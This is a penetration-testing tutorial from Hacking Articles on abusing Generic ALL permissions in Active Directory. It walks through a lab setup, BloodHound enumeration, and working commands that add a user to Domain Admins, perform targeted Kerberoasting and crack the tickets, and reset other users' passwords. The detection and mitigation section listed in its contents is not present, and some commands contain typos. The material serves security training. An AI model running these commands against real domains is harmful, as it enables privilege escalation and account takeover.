In this post, we explore the exploitation of Discretionary Access Control Lists (DACL) using the Generic ALL permission in Active Directory environments. This permission provides unrestricted access to user attributes, enabling various attack vectors, such as Kerberoasting, password resets, and account manipulation.
We will detail the lab setup needed to simulate these attacks and map these methods to the MITRE ATT&CK framework to understand the techniques and tactics involved. Additionally, we will discuss detection mechanisms to identify suspicious activities linked to Generic ALL attacks and provide actionable recommendations to mitigate these vulnerabilities. This overview aims to equip security professionals with the knowledge to recognize and defend against these prevalent threats.
Abusing AD-DACL- Generic ALL Permissions
Key Concepts of DACL
Generic ALL Right
Prerequisites
Lab Setup – User Owns Generic ALL Right For Domain Admin Group
Exploitation Phase I – User Own Generic All Right for Group
Bloodhound -Hunting for Weak Permission
Method for Exploitation – Account Manipulation (T1098)
Exploitation Phase II – User own generic Right for another user
Bloodhound -Hunting for Weak Permission
Multiple Method for Exploitation
Detection & Mitigation
In Active Directory (AD), a DACL (Discretionary Access Control List) is a component of an object’s security descriptor that specifies which users or groups are allowed (or denied) access to the object and what actions they are permitted to perform. It essentially controls who can do what to an object, such as a user account, computer, group, or any other directory object.
Weak DACLs can lead to unauthorized access or privilege escalation if not properly configured.
In Active Directory, permissions and privileges define what actions an entity (user, group, or computer) can perform on another object. The “Generic ALL” privilege is one of the most powerful in AD because it grants complete control over the target object. This means that the user or group with this privilege can:
Because of its extensive reach, an attacker who gains “Generic ALL” privileges on sensitive objects (like privileged groups or service accounts) can essentially gain domain dominance.
Exploiting “Generic ALL” Privilege
Here’s how an attacker can leverage the “Generic ALL” privilege to compromise Active Directory:
To simulate an Active Directory environment, you’ll need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.
net user komal Password@1 /add /domain
Once your AD environment is set up, you need to assign the “Generic ALL” right to Komal for the Domain Admins group.
5. Go to the Security tab and click Advanced.
6. Click Add, then select the Komal user.
7. In the Permissions Entry window, select This object and all descendant objects.
8. In the Permissions section, check the box for Full Control or specifically check “Generic ALL” if available.
9. Apply the settings.
At this point, Komal now has Generic ALL rights over the Domain Admins group, meaning they can modify attributes, reset passwords, or even add themselves to the group.
Compromised User: Komal
Target Account: Domain Admin Group
Now that the lab is set up, let’s walk through how an attacker (acting as Komal) can abuse the Generic ALL privilege.
Assuming the Red Teamer knows the credential for Komal Users as a Standard Domain Users and would like to enumerate the other Domain users & Admin members with the help of “net-rpc” Samba command line Utility.
net prc user -U ignite.local/komal%'Password@1' -S 192.168.1.8 net rpc group members "Domain Admins" -U ignite.local/komal%'Password@1' -S 192.168.1.8
After executing above command its has been concluded that the Administrator users is only the single member of the Admin group. Unfortunately, the tester is doesn’t know the credentials of administrator.
Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Komal has the Generic ALL right on the Domain Admins group.
bloodhound-python -u komal -p Password@1 -ns 192.168.1.8 -d ignite.local -c All
From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.
Thus it has shown the Komal User has Generic ALL privilege to Domain Admin group and provided steps for exploitation to be proceed.
1. Linux Net RPC – Samba
The tester can abuse this permission by Komal User into Domain Admin group and list the domain admin members to ensure that Komal Users becomes Domain Admin.
net rpc group addmem "Domain Admins" "komal" -U ignite.local/komal%'Password@1' -S 192.168.1.8
2. Linux Bloody AD
bloodyAD --host "192.168.1.8" -d "ignite.local" -u "komal" -p "Password@1" add groupMember "Domain Admins" "komal"
thus from user property we can see komal user has become the member of domain admin.
3. Windows Net command
net group “domain admins” komal /add /domain
To set up a lab environment where the user Nishant has Generic ALL rights over the user Vipin, you’ll need to follow several steps. This process involves configuring Active Directory (AD) permissions so that Nishant can manipulate attributes of the Vipin account.
Step 1: Create Two AD user accounts
net user vipin Password@1 /add /domain net user vipin Password@1 /add /domain
Step 2: Assign Generic ALL Permissions
4. Go to the Security tab.
5. Click Advanced and then Add.
6. In the “Enter the object name to select” box, type Nishant and click Check Names.
7. After adding Nishant, set the permissions:
8. Ensure Applies to is set to This object only.
Hunting for First Degree objection Control for Nishant Users as did in previous steps
bloodhound-python -u nishant -p Password@1 -ns 192.168.1.8 -d ignite.local -c All
From the graph it can be observed that the nishant user owns generic all privilege on vipin user
Moreover, Bloodhound also helps the pentest to define the possible attack from the user account nishant, this user can perform domain attack such as keroasting and shadow credentials
1. T1558.003 – Kerberoasting
1.1 Linux Python Script – TargetedKerberoast
Compromised User: Nishant:Password@123
Target User: Vipin
Kerberoasting is an attack technique that targets service accounts in Active Directory environments, where an attacker with Generic ALL permissions on a user can exploit the ability to request service tickets (TGS). By requesting TGS for service accounts, the attacker can obtain encrypted tickets that include the service account’s password hash. Since these tickets can be extracted and then offline cracked, the attacker can potentially gain access to the service account’s credentials. The attack leverages the fact that service accounts typically have elevated privileges, allowing the attacker to escalate their own access within the network once the password is cracked. This exploitation is particularly effective in environments where weak or easily guessable passwords are used for service accounts.
git clone https://github.com/ShutdownRepo/targetedKerberoast.git
./targetedKerberoast.py --dc-ip '192.168.1.8' -v -d 'ignite.local' -u 'nishant' -p 'Password@1'
As we have seen during the lab setup that vipin user was add domain user account which does not have any associated spn. The Python is script has modify the attribute of vipin user to set the SPN name and then dump Krbtgs hash that can be brute force offline. Moreover the script perform clear track step by removing the spn well live from user attribute.
This type of attack ideally best when the attacker is not willing to change the password for target user <Vipin in our case> even generic all privilege is enabled for compromised user. Yes this step is less noisy then the changing the password of any user.
Further, with the help of John the Ripper end the dictionary such as Rock You can help the attacker to brute force the weak password.
To perform Kerberoasting using PowerView on a Windows machine, you can leverage PowerView’s ability to enumerate Active Directory service accounts that have Service Principal Names (SPNs). These SPNs can be requested to obtain service tickets (TGS), which can then be cracked offline to reveal the service account’s credentials. Here’s a brief overview of the steps:
Make sur that the target account has no SPN and then Set the SPN to obtain the KerbTGS hash Get-DomainUser 'vipin' | Select serviceprincipalname Set-DomainObject -Identity 'vipin' -Set @{serviceprincipalname='nonexistent/hackingarticles'} $User = Get-DomainUser 'vipin' $User | Get-DomainSPNTicket | f1
Cracking TGS hash using Rockyou.txt with the help of Hashcat Tool.
2. T1110.001 – Change Password
2.1 Linux Net RPC – Samba
net rpc password vipin 'Password@987' -U ignite.local/nishant%'Password@1' -S 192.168.1.8
2.2 Linux Net RPC – BloodAD
bloodyAD --host "192.168.1.8" -d "ignite.local" -u "nishant" -p "Password@1" set password "vipin" "Password@9876"
2.3 Linux Net RPC –Rpcclient
rpcclient -U ignite.local/nishant 192.168.1.8 setuserinfo vipin 23 Ignite@987
2.4 Windows Net Utility
net user Vipin Password@1234 /domain
2.5 Windows PowerShell -Powerview
$SecPassword = ConvertTo-SecureString 'Password@987' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('ignite.local\vipin', $SecPassword)
2.6 Windows PowerShell
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity 'vipin' -AccountPassword $NewPassword
Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here